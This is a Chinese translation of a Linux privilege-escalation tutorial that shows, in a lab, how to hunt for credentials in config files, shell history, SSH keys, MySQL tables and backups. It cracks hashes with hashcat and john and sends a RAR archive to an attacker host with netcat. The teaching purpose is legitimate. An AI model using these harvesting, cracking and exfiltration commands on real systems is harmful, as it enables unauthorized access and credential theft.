Linux 提權-密碼搜尋

扛枪的书生發表於2024-07-17

本文透過 Google 翻譯 Password Hunting – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 密碼搜尋 – 檔名和檔案內容
    • 1.1 尋找有趣的檔名
    • 1.2 尋找有趣的字串
  • 2 密碼搜尋 – Web 檔案/Config 檔案
    • 2.1 Config 檔案中的密碼
    • 2.2 Web 檔案中的密碼
      • 2.2.1 使用 Hashcat 破解密碼
  • 3 密碼搜尋 – 隱藏檔案/資料夾
    • 3.1 隱藏檔案/資料夾中的密碼
    • 3.2 Bash 歷史檔案中的密碼
    • 3.3 SSH 金鑰密碼
      • 3.3.1 使用 John 破解 SSH 金鑰密碼
  • 4 密碼搜尋 – MySQL
    • 4.1 內建資料庫中的密碼雜湊值 – MySQL
      • 4.1.1 使用 Hashcat 破解 mysql 雜湊
    • 4.2 自建資料庫中的密碼雜湊值 – MD5
      • 4.2.1 使用 Hashcat 破解 md5 雜湊
    • 4.3 自建資料庫中的密碼雜湊值 – Base64
  • 5 密碼搜尋 – /var/backups 資料夾
    • 5.1 使用 Hashcat 破解 shadow 雜湊
  • 6 密碼搜尋 – 受密碼保護的檔案
    • 6.1 使用 John 破解 RAR 檔案密碼
  • 7 自動工具尋找密碼 – LinPEAS

0、前言

在這篇文章中,我們將探討在目標 Linux 機器上搜尋密碼的技巧,以此作為橫向或縱向提升許可權的一種手段。我們將回顧各種搜尋密碼的技術,以及密碼儲存的一些常見位置。在搜尋過程中,我們將在指令碼、配置檔案、檔名、雜湊值中發現憑證!

使用者甚至管理員(root)重複使用他們的密碼或將他們的密碼留在系統可讀的位置是很常見的。

除了系統中隨處可見的密碼,我們還可以在很多地方找到密碼雜湊或受密碼保護且需要破解的檔案。因此,本文將使用 HashcatJohn 進行大量破解。

當您在系統上發現任何密碼時,無論是在初始利用階段還是後利用階段,您都必須儘可能地測試該密碼!此外,請根據找到的所有使用者名稱測試找到的所有密碼,因為密碼重複使用是一個大問題,而且非常常見!

在所有這些示例中,我們都將使用手動技術來查詢密碼和雜湊值。不過,在文章的最後,我們還將看到工具(LinPEAS)在搜尋方面的表現。

我們將在這篇文章中介紹很多內容,讓我們直接進入主題吧!

首先,假設我們已找到憑證並以標準使用者 cain 的身份在目標 Linux 機器上站穩了腳跟。

1、密碼搜尋 – 檔名和檔案內容

在尋找密碼時,我們首先要做的一件事就是進行高階搜尋,查詢檔名中包含 “password” 的檔案。除了檔名之外,我們還應該查詢檔案中的字串 “password”。

1.1、尋找有趣的檔名

在查詢檔案系統中檔案的 "password" 字串之前,我們應該先查詢包含 "password" 的檔名。此外,我們還應該查詢包含我們能想到的任何其他有趣字串的檔名(config、php 等)。

我們可以使用一些命令來執行此類搜尋。

首先,我們可以使用以下 find 命令:

find / -exec ls -lad $PWD/* "{}" 2>/dev/null \; | grep -i -I "passw\|pwd"

上述搜尋將非常冗長,需要一些時間才能完成,因為它會檢查整個檔案系統中是否存在包含字串 “passw” 或 “pwd” 的檔名。此搜尋的好處是 “passw” 涵蓋了 passw、passwd 和 password;而 “pwd” 是 password 一詞的另一種常見解釋。

我們還可以使用另一個命令來梳理整個檔案系統以查詢名稱中包含特定字串的檔案,即 locate 命令。

locate 'passw'
locate 'pwd'
locate '*.php'

關於 locate 命令最棒的地方在於它執行速度非常快,這使得我們可以在短時間內使用關鍵字搜尋各種不同的檔名/檔案型別。

這兩種在搜尋名稱中包含特定字串檔案的方法都會產生大量結果,但如果我們花點時間檢視輸出結果,可能會發現一些 JUICY 檔案(即包含密碼的檔案)。

1.2、尋找有趣的字串

我們可以很好地利用 grep 命令來在整個檔案系統中搜尋包含字串 “passw” 和 “pwd” 的檔案;但是,它也會產生大量結果。

grep --color=auto -rnw '/' -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

這種搜尋會用紅色顯示字串,用紫色顯示完整的檔案路徑,以及顯示在檔案中找到該字串的行號。這種搜尋的唯一問題是輸出量太大,要解析這些內容需要相當長的時間,所以最好還是執行更精細、更有針對性的搜尋。

為了更加精細,我們可以導航到感興趣的目錄,然後執行與上面相同的命令。但這一次,我們將去掉 "/",這樣它就只遞迴搜尋當前目錄中的檔案。

例如,我們可以導航到通常能找到有趣檔案的常用資料夾,如 /var/www、/tmp、/opt、/home 等,然後執行以下命令:

grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

透過上述方法,我們能夠大大減少結果並快速在 config.php 檔案中找到了密碼。

2、密碼搜尋 – Web 檔案/Config 檔案

我們通常會在 webroot 目錄中找到憑證(通常是連線 MySQL 資料庫的帳戶密碼)。一般情況下,webroot 目錄總是位於 /var/www,其中還包含我們在獲得立足點之前使用 gobuster 或 dirb 等工具對子目錄進行模糊測試時找到的網頁。

通常,我們主要尋找 PHP 配置檔案。然而,我們也可以在許多其他可能的檔案型別中找到憑據,例如 TXT 檔案、bash 指令碼、其他指令碼、ZIP 檔案、其他壓縮檔案型別(tar、gz 等)、DB 檔案等。

2.1、Config 檔案中的密碼

導航到 /var/www/ 我們可以看到這裡有幾個檔案,但最引人注目的是 “config.php”。

請注意,您不會總能找到 “config.php” ,但只需確保檢視所有 PHP 檔案即可。因為它可能是 db.php、config.php、pwd.php,甚至是隨機檔案。

檢查 config.php 檔案的內容,我們可以看到該檔案用於以 root 使用者身份訪問 MySQL 資料庫,檔案中還顯示了明文使用者名稱和密碼!

root:SuperS3cureP@ssw0rd

Amazing!現在,我們應該能夠使用這些憑據以 “root” 資料庫使用者身份進入 MySQL 資料庫。但是,並不意味著該憑據也是 shell 的 root 憑據(但也不排除這種可能)! 因此,進行 su root 測試嘗試是一個好主意。如果我們真的很幸運,我們將切換使用者並進入 root shell。

測試中我們發現認證失敗了,這說明該密碼並不是 root 帳戶的密碼。

但是,當我們嘗試使用這些憑據訪問 MySQL 資料庫時,我們能夠順利進入!

mysql -u root -p

在這裡,我們可以列舉資料庫以獲取更多密碼雜湊值(稍後詳述),甚至可以設定 UDF 漏洞並提升到 root。

如果您想了解如何透過使用 UDF 漏洞利用 MySQL 資料庫來提升許可權,請檢視我關於此主題的帖子

2.2、Web 檔案中的密碼

如前所述,我們可以在 webroot 中找到許多檔案來查詢憑據。其中一個檔案用於儲存 WebDav 伺服器的憑據。

WebDav 是一個供使用者在伺服器上建立、更改和移動文件的框架。

WebDav 密碼是雜湊值,使用名為 htpasswd 的工具生成。憑證將提供對 WebDav 伺服器的訪問許可權,通常位於網站後臺,以允許檔案上傳等。

攻擊此服務通常是使用名為 cadaver 的工具在外部完成的,該工具用於上傳惡意 PHP 檔案協助獲取 shell。透過惡意 PHP 獲取到的 Shell 的身份通常是 www-data,但也可能是標準使用者,甚至是 root。

儘管攻擊該服務通常是為了在目標上獲得立足點,但由於它使用密碼檔案,因此也可幫助許可權提升。

繼續在 webroot 中搜尋,我們在 /var/www/htmp/web/webdav 目錄中找到一個一個名為 passwd.dav 的有趣檔案

使用 htpasswd 生成的密碼檔案沒有指定的副檔名。因此,使用 WebDav 憑據生成的檔案可以具有任何副檔名,甚至根本沒有副檔名。我見過:*.password / *.dav / *.pwd 等。

開啟檔案,我們可以看到有一個以以下內容開頭的密碼雜湊:$apr1$ — 一個專門針對 Apache 而修改的 MD5 版本

我們可以看到雜湊值屬於 devops 使用者,檢查 /etc/passwd 檔案,我們可以確定該賬戶在系統上是有效使用者!

有了這些資訊,我們就應該考慮破解這個雜湊值,因為它可能與使用者的實際密碼相同,並允許我們登入 devops 使用者。不過,即使 /etc/passwd 中不存在 devops 使用者,我們仍應嘗試破解該密碼,並將其新增到密碼列表中,以便在其他可能的地方進行測試嘗試。

2.2.1、使用 Hashcat 破解密碼

為了準備破解這個雜湊,我們可以複製 passwd.dav 檔案的內容(不包含使用者名稱和冒號)並將其貼上到攻擊者機器上的 TXT 檔案中。

完成後,我們可以使用 hashcat 的以下命令來查詢此類雜湊對應的破解模式:

hashcat -h | grep -i '$apr'

我們發現此雜湊型別的破解模式是 1600,可以將其插入以下命令以開始破解此雜湊。

hashcat -m 1600 ./webdav.hash /usr/share/wordlists/rockyou.txt -o cracked.dav

僅一秒鐘,雜湊就被成功破解!

檢查輸出檔案 cracked.dav,我們可以看到我們已經成功恢復密碼。

devops : DeVeLoPeR712

現在我們已經找到了系統中的一組有效憑據,就可以嘗試使用 su 進入該使用者,讓我們更接近 root 身份。

3、密碼搜尋 – 隱藏檔案/資料夾

任何目錄內都可能存在隱藏的檔案或資料夾,但如果您不查詢它們,就不會看到它們。

在類 Unix 系統上,隱藏檔案和資料夾都以句點開頭,如 .bash_history 檔案或 .ssh 資料夾。

要查詢隱藏的檔案或資料夾,我們可以使用 ls 命令的 “-a” 引數,如下所示:

ls -la

我們應該養成 在使用 ls 命令時始終新增 -a 引數的習慣,如此,便不會在列舉過程中錯過任何有趣的檔案或資料夾。

3.1、隱藏檔案/資料夾中的密碼

在受害者機器上找到立足點後,我們首先要查詢的是檔案系統根目錄下的任何非標準和/或隱藏檔案/資料夾。

ls -la /

這裡我們可以看到檔案系統根目錄中有兩個非標準資料夾,其中一個是隱藏資料夾:.important

share 目錄是另一個非標準目錄,它是另一篇文章的一部分,該文章展示瞭如何從 NFS 共享提升許可權。

由於 .important 目錄是隱藏的且由當前使用者擁有,因此這是一個值得仔細研究的有趣目錄。

導航到隱藏目錄並再次使用 ls -la 命令,我們可以看到有一個名為 .password 的隱藏檔案;在裡面,我們找到另一個可以新增到密碼檔案本中的密碼。

Password123!

我們應該始終記得在檔案系統根目錄下尋找非標準目錄;不過,有兩個已知的隱藏檔案/資料夾存在於每個使用者的主目錄中,它們是 .bash_history 檔案和 .ssh 資料夾。.bash_history 檔案存在於每個使用者的主目錄中,但 .ssh 資料夾只有在使用者擁有 SSH 金鑰時才會存在。

3.2、Bash 歷史檔案中的密碼

.bash_history 檔案是一個儲存使用者在命令提示符下輸入的命令歷史記錄的檔案,用於檢視已執行過的舊命令。使用者當前會話會將命令歷史儲存到記憶體中,可以使用歷史命令檢視。但一旦使用者登出,記憶體中的命令就會儲存到 .bash_history 檔案中。

當我們在目標上站穩腳跟後,我們要做的事情之一就是列舉系統中擁有 home 配置檔案的使用者數量,以及在我們找到的所有配置檔案中,有多少我們可以檢視的 bash 歷史檔案。

該系統有三個使用者配置檔案:cain、devops、juggernaut

檢查了三個 home 配置檔案後,我們發現無法檢視 devops 使用者的 .bash_history 檔案;但是,我們可以檢視當前使用者 cain 和 juggernaut 的!

嘗試檢視每個使用者的 bash 歷史檔案的內容時,我們在自己的檔案中沒有發現太多值得關注的內容,但是在 juggernaut 裡發現了一些有趣的東西。

命令歷史記錄告訴我們,使用者嘗試透過在命令列上直接傳遞 root 憑據來登入 MySQL 伺服器。

由於我們已經在 config.php 檔案中找到了這些憑據,因此我們知道這些憑據可以讓我們進入 MySQL 伺服器,在那裡我們可以列舉出更多密碼雜湊值!

3.3、SSH 金鑰密碼

當我們列舉不同的使用者配置檔案時,我們可能會遇到一個包含 SSH 金鑰的隱藏資料夾!這通常名為 .ssh,可以使用 ls-la 找到。

檢查 juggernaut 的 home 資料夾,我們發現有一個 .ssh 目錄,裡面存在一個 id_rsa 檔案並且我們有讀取許可權!

id_rsa 檔案是一個私鑰,可用於在不知道使用者密碼的情況下登入 SSH,但前提是在建立金鑰時沒有設定密碼。就進入系統而言,此檔案本質上相當於密碼。

由於我們有此檔案的讀取許可權,因此可以使用 cat 命令顯示檔案的內容,然後將其完整複製到攻擊機器。

在我們的攻擊者機器上

Perfect!我們已將 juggernaut 的金鑰複製到攻擊者的機器上,現在可以使用它登入了。在登入之前,我們還需要將私鑰檔案的許可權設定為 600

如果不將許可權設定為 600,私鑰將無法使用。因為 ssh 限定必須如此,以此來提高該檔案的安全性。

不幸的是,當我們嘗試登入時,系統提示我們輸入私鑰的密碼。這意味著在最開始建立私鑰檔案時確實設定了密碼。

chmod 600 juggernaut_id_rsa

ssh -i ./juggernaut_id_rsa juggernaut@172.16.1.175

幸運的是,我們可以使用一個工具將金鑰轉換為可破解的 hash 格式,然後嘗試使用 John 來破解它。

3.3.1、使用 John 破解 SSH 金鑰密碼

對於大多數受密碼保護的檔案型別,John 擁有不同的工具可用於將特定檔案型別轉換為可破解的格式。這些工具都名為 xxx2john,可以使用以下命令在攻擊者機器上找到整個列表:

locate *2john

使用上述命令,您將看到有很多檔案型別可以用 John 破解,其中也包括 “SSH” 檔案格式。

由於我們要破解的是 SSH 金鑰,因此可以使用 ssh2john 將私鑰檔案轉換為可破解格式。

ssh2john juggernaut_id_rsa > jugg.john

將輸出重定向到檔案後,我們可以看到檔案已被格式化,以便破解。現在我們可以嘗試使用 John 和 rockyou.txt 單詞表來破解密碼。

john jugg.john --wordlist=/usr/share/wordlists/rockyou.txt

一瞬間,John 就破解了密碼: P@ssw0rd

現在我們可以使用該密碼嘗試透過 SSH 登入受害者。

Amazing!我們成功了!

在以新使用者身份站穩腳跟後,我們需要再次開始手動列舉,首先要執行的命令之一是 sudo -l,以檢視該使用者是否有能力以 root 使用者身份執行任何程式。

當我們執行 sudo -l 時,系統會提示我們輸入密碼。由於密碼重用非常常見,因此我們可以測試使用者在其 SSH 金鑰上設定的密碼。如果幸運的話,他們在製作金鑰時會重用他們實際的登入密碼。

輸入 “P@ssw0rd” 作為密碼,我們可以看到使用者確實重複使用了他們的密碼,而且我們擁有了完全的 sudo 訪問許可權!

看到 (ALL) ALL 意味著透過該使用者,我們擁有完全的 root 訪問許可權!要提升為 root 使用者,我們只需執行 sudo su - 就可以了。

BOOM!由於密碼重複使用,升級將變得微不足道!

您可能已經注意到,第二次執行 sudo 時沒有提示我輸入密碼。這是因為預設情況下,sudo 僅在 5 分鐘不活動後才會提示您輸入密碼。每次執行 sudo 時,它都會重置 5 分鐘計時器,並允許使用 sudo 而無需再次輸入密碼。

4、密碼搜尋 – MySQL

之前我們在位於 webroot (/var/www) 的 config.php 檔案中找到了 MySQL 的 root 憑據,同時也在 juggernaut 使用者的 .bash_history 檔案中找到了相同的憑據。

讓我們登入 MySQL 並列舉資料庫和表,如果幸運的話,我們可能會找到 Web 應用程式以及 MySQL 自身的使用者名稱和密碼。

mysql -u root -p

Awesome!我們已進入了 MySQL,現在可以開始列舉資料庫了。

show databases;

前四個資料庫是預設內建的資料庫,在這四個資料庫當中,我們最感興趣的是 mysql 資料庫,因為這個資料庫包含了可以讓我們進入 MySQL 的登入憑據。

除了預設資料庫之外,我們始終應該對自定義資料庫感興趣,因為自定義資料庫通常會與 Web 應用程式相關聯。如果我們在這裡找到一些密碼雜湊值,也許就能破解它們,並利用它們來增加我們的訪問許可權。

4.1、內建資料庫中的密碼雜湊值 – MySQL

在 mysql 資料庫中,我們可以使用 use 命令切換當前使用的資料庫,然後使用 show 命令檢視所有表,其中最令人感興趣的是該資料庫中的使用者表。

use mysql;
show tables;

現在我們知道要檢視哪個表了,可以使用以下命令轉儲所有行和列:

select * from user;

這裡有兩個雜湊值。不過,root 雜湊值是我們用來進入 MySQL 的密碼的雜湊值,這是因為 資料庫 mysql 儲存著 MySQL 服務執行相關的狀態、使用者等資訊。我們可以使用以下命令檢查密碼是否相同:

select password('SuperS3cureP@ssw0rd');

此命令會將傳遞的字串轉換為雜湊值。可以看到,user 表中 root 使用者的密碼雜湊與我們用於登入 MySQL 的密碼的雜湊是相同的。但是,我們找到的 dev 使用者的雜湊是唯一的,因此我們可以將此雜湊複製到攻擊者機器上的 TXT 檔案中,然後使用 hashcat 對其進行破解。

4.1.1、使用 Hashcat 破解 mysql 雜湊

當我們把這個雜湊值複製到攻擊者的機器上時,我們需要把前面的 "*"去掉,就像這樣:

echo 'D37C49F9CBEFBF8B6F4B165AC703AA271E079004' > mysql.hash

現在,當前目錄中有一個名為 mysql.hash 的檔案,我們可以將其傳遞給 hashcat 來破解此雜湊。開始破解之前,我們需要使用以下命令找到此雜湊型別的破解模式:

hashcat -h | grep -i 'mysql'

Perfect!在這裡我們可以看到需要使用的破解模式是 300,剩下要做的就是把它們組合在一起然後破解這個雜湊。

hashcat -m 300 ./mysql.hash /usr/share/wordlists/rockyou.txt -o cracked.txt

一秒鐘,我們就破解了雜湊!現在我們需要從輸出結果的 cracked.txt 檔案中檢視密碼。

就這樣,我們的密碼本中又新增了一個新密碼:letmein

4.2、自建資料庫中的密碼雜湊值 – MD5

現在我們將注意力轉向自定義資料庫 web_app 資料庫。

use web_app;
show tables;

在這裡我們注意到有兩個表引起了我們的興趣:users、passwd,讓我們先轉儲 users 表。

select * from users;

該表有兩個使用者名稱和密碼雜湊值。由於該資料庫與網路應用程式繫結,因此破解這些雜湊值很可能會讓我們以不同使用者的身份登入 Web 應用程式。但這也在意料之中,因為密碼的重複使用,我們還可以測試其他地方。

我們可以將這些雜湊帶到攻擊者機器上,就像我們對找到的 mysql 資料庫憑據所做的那樣,然後使用 hashcat 破解它們。但是,這些雜湊與 Web 應用程式相關,而 Web 應用程式通常會使用某種雜湊演算法來儲存密碼。但目前,我們還不知道這些雜湊是什麼型別的。

4.2.1、使用 Hashcat 破解 md5 雜湊

我們要做的第一件事是確定這些雜湊的型別。我們可以使用內建在 kali 中的一款名為 hash-identifier 的出色工具來做到這一點。

執行命令 hash-idenfier 後,我們可以將其中一個雜湊貼上到 HASH: 欄位中,然後它將嘗試確定這是什麼型別的雜湊。

這裡我們可以看到可能的雜湊值為 MD5MD4 域快取憑證。由於這不是 Windows 機器,因此可以肯定這些是MD5

現在我們知道了雜湊型別,我們需要獲取這兩個雜湊並將它們新增到攻擊者機器上的 TXT 檔案中,然後繼續破解它們。

hashcat -h | grep -i 'md5'

在檢查破解模式時,我們看到很多結果都是 MD5,但這是一個原始 MD5 雜湊值,因此我們需要使用破解模式 0

hashcat -m 0 ./webapp.hash /usr/share/wordlists/rockyou.txt -o webapp_cracked.txt

瞬間,雜湊值就被成功破解(0 秒)。然後,檢查密碼檔案,我們發現 devops 使用者的密碼與我們之前找到的密碼相同,但 admin 使用者的密碼是新密碼!

好的,現在我們需要檢查我們發現的另一個有趣的表 – “passwd”表。

4.3、自建資料庫中的密碼雜湊 – Base64

就像我們已經做的那樣,我們可以再次使用以下命令快速轉儲該表的所有行和列:

select * from passwd;

看起來我們找到了另外一個 root 密碼,但從末尾的等號來看,它可能是 base64 編碼的。

SXNoYWxsbjB0YmVjcmFja2VkIQo=

然而,當我們嘗試直接使用它以 root 身份登入時,卻失敗了!

由於這不起作用,我們應該嘗試進行 base64 解碼。

經常會發現經 base64 編碼後的字串是以一個或兩個等號結尾,但情況並非總是如此。因此,當您發現任何主要由大寫和小寫字母組成的有趣字串時,請首先檢查它是否是 base64 編碼的。

echo 'SXNoYWxsbjB0YmVjcmFja2VkIQo=' | base64 --decode

Amazing!該字串經過 base64 解碼後變為:Ishalln0tbecracked!

一個好建議是將 base64 字串和我們解碼的實際密碼都新增到密碼檔案中,因為這樣會增加破解密碼的可能性。

當我們測試解碼後的密碼時,就可以以 root 身份登入!

5、密碼搜尋 – /var/backups 資料夾

/var/backups 資料夾一般用於儲存一些自動備份,例如 passwdshadow 檔案的備份。但是,預設備份檔案將具有一組受限制的許可權,就像實際檔案一樣。

本質上,我們正在尋找以下兩種場景之一:

  1. 備份資料夾中的檔案具有弱許可權,允許我們讀取本不應該讀取的檔案。
  2. 資料夾中有我們可以讀取的自定義檔案。

對於這個例子,我們將介紹場景 2。

導航到該資料夾,我們可以使用 ls -la 檢視所有檔案,包括任何隱藏檔案。

我們可以看到所有預設檔案(如 passwdshadow 備份)都被鎖定並歸 root 所有(即只有 root 有權檢視)。但是,我們可以看到這裡有一個 db 檔案,這種型別的檔案通常是由 Sqlite3 構建的包含表、列和行的資料庫。

如果我們嘗試簡單地 cat 此檔案,我們將看到一堆亂碼 – 就像用 cat 檢視二進位制檔案一樣。

但是,與二進位制檔案類似,我們可以使用 strings 命令從檔案中提取字串。

strings ./pwds.db

在這裡我們可以看到三個雜湊值,其中有兩個是唯一的一個是重複的,我們可以將其複製到攻擊者的機器上並使用 hashcat 進行破解。這些雜湊似乎也是來自 “$6” 的 unix OS 雜湊值,這也是我們在 shadow 檔案中經常看到的。

5.1、使用 Hashcat 破解 shadow 雜湊

由於我們只關心雜湊本身,因此我們只需要從$6$複製到 SHA-512 字串的末尾。將兩者複製到攻擊者的機器後,它應該如下所示:

就像以前一樣,我們首先搜尋破解模式,然後我們就可以繼續破解雜湊。

hashcat -h | grep -i '$6'

這裡告訴我們這是一個 SHA-512 Unix OS 雜湊,當我們看到它們看起來像影子檔案雜湊時,我們已經預料到了 – 因為它們就是!

由於 Unix SHA-512 雜湊值相當不錯,因此需要幾個小時才能跑完整個 rockyou.txt 檔案。因此,我們可以使用較精簡版本的 rockyou 來加快速度。如果不成功,我們可以找一個更大一些的單詞表。

您可以從 SecLists 中獲得一些 rockyou 的精簡版本,以及更多優秀的單詞表。

hashcat -m 1800 ./shadow.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o shadow.cracked

在一分鐘的時間內,hashcat 針對兩個雜湊值跑完了整個單詞列表,但只恢復了一個。

此時,我們可以用找到的這個密碼進行嘗試來增加我們的訪問許可權。並且,我們還可以使用更長字典來對第二個雜湊重新執行 hashcat。但是,我們已經找到了這個密碼,所以讓我們繼續吧!

6、密碼搜尋 – 受密碼保護的檔案

對於我們的最後一個手動示例,我們將研究在列舉過程中可能值得仔細檢查的有趣檔案型別,這包括 PDF、RAR、ZIP、7z 等檔案。當然,這些檔案可能受密碼保護。

由於密碼重用是一個反覆出現的問題,因此通常會發現用於保護檔案的密碼通常與使用者登入時使用的密碼相同。

假設在目標機器站穩腳跟後,我們檢查公共資料夾中是否存在有趣的檔案。當我們檢查 /opt 資料夾時,我們發現其中有一個名為 backup.rar 的有趣 RAR 檔案 ,該檔案屬於 devops 使用者。

由於這是一個備份檔案,因此我們應該考慮將此檔案下載到我們的攻擊者機器上用以仔細檢視。為此,我們可以使用 netcat

首先,我們需要在攻擊者的機器上設定一個監聽器來獲取檔案。

nc -nvlp 443 > backup.rar

執行該程式後,我們在受害者機器上執行以下命令,將 backup.rar 檔案提供給攻擊者機器:

nc 172.16.1.30 443 < /opt/backup.rar

當我們檢查攻擊者的機器時,我們可以看到檔案已完整傳送(396 位元組)。

現在該檔案已提供給我們的攻擊者機器,我們可以嘗試使用 unrar 命令和 “e” 選項來提取它。

unrar e ./backup.rar

但是解壓失敗了,因為需要密碼才能解壓!

6.1、使用 John 破解 RAR 檔案密碼

由於我們嘗試破解的是 RAR 檔案,因此我們可以使用 rar2john 將 RAR 檔案轉換為可破解的格式。

rar2john ./backup.rar > john_rar

將輸出重定向到檔案後,我們現在可以嘗試使用 John 和 rockyou.txt 單詞表來破解密碼。

john john_rar --wordlist=/usr/share/wordlists/rockyou.txt

不到一分鐘,john 就破解了密碼:DeVeLoPeR712

現在我們可以使用此密碼解壓 RAR 檔案並檢視裡面的內容了。

成功了!我們解壓了三個檔案:container_info.txt、ubuntu_config.txt 和 devops.txt。不過,在檢查了這三個檔案的內容後,我們並沒有發現什麼有趣的東西。

我們可以看到有提示表明該檔案屬於 devops 使用者,並且我們已經看到 DeVeLoPeR712 與該使用者登入系統時使用的密碼相同。

7、自動工具尋找密碼 – LinPEAS

最後,我們來到了工具部分!在這裡,我們將看到 LinPEAS 究竟為我們列舉了多少我們手動找到的東西。

關於 LinPEAS 工具的傳輸部分此處省略。

執行命令 ./linpeash.sh 後會輸出很多列舉內容,要查詢密碼相關的資訊,我們需要向下滾動到 Interesting Files 部分,有時還需要檢視 Software Information 部分。

首先,讓我們看看 LinPEAS 是如何處理檔案和檔名中的密碼搜尋。

我們可以看到 LinPEAS 的搜尋非常有針對性,因此輸出結果並不多。對於檔名中有趣的字串,LinPEAS 只有以下子部分:Searching password or credential files in home (limit 70)。雖然它說的是“在 home 目錄中”,但它實際上會檢查整個檔案系統。遺憾的是,70 的限制有助於減少輸出結果,但它也遺漏了許多潛在的可能。

檔案內容中的字串搜尋也非常有針對性,例如它在日誌檔案、配置 PHP 檔案以及其他一些檔案中搜尋密碼。

對於 LinPEAS 示例的其餘部分,我們將檢視它能夠找到多少與我們找到的相同的檔案。

  • Config.php? – 找到了!且提取了密碼的內容。

  • passwd.dav? – 未找到!
  • 隱藏檔案和資料夾:/.important/.password? – 找到了!但未提取內容。

  • .bash_history 檔案? – 找到了!但不會提取內容。
  • .ssh 資料夾和 SSH 金鑰? – 找到了!但不會提取內容。

  • MySQL 中的雜湊值? – 未找到!因為 mysql 登入需要賬戶密碼,LinPEAS 無法訪問資料庫。(若登入密碼為空,說不定能列出雜湊值)
  • pwds.db? – 找到了!且提取了雜湊的內容。在這裡我們可以看到它只在檔案中提取了一個雜湊,但這足以讓我們知道,我們可以進一步手動探索它。

  • backup.rar? – 找到了!

還不錯!LinPEAS 能夠列舉出我們能夠發現的大多數包含密碼的檔案,甚至從其中一些檔案中提取了密碼和雜湊值。然而,這些結果同時也告訴我們,雖然 LinPEAS 非常出色,但沒有什麼比人工列舉更有效了(因為 LinPEAS 同時也列舉出了很多干擾檔案)。

相關文章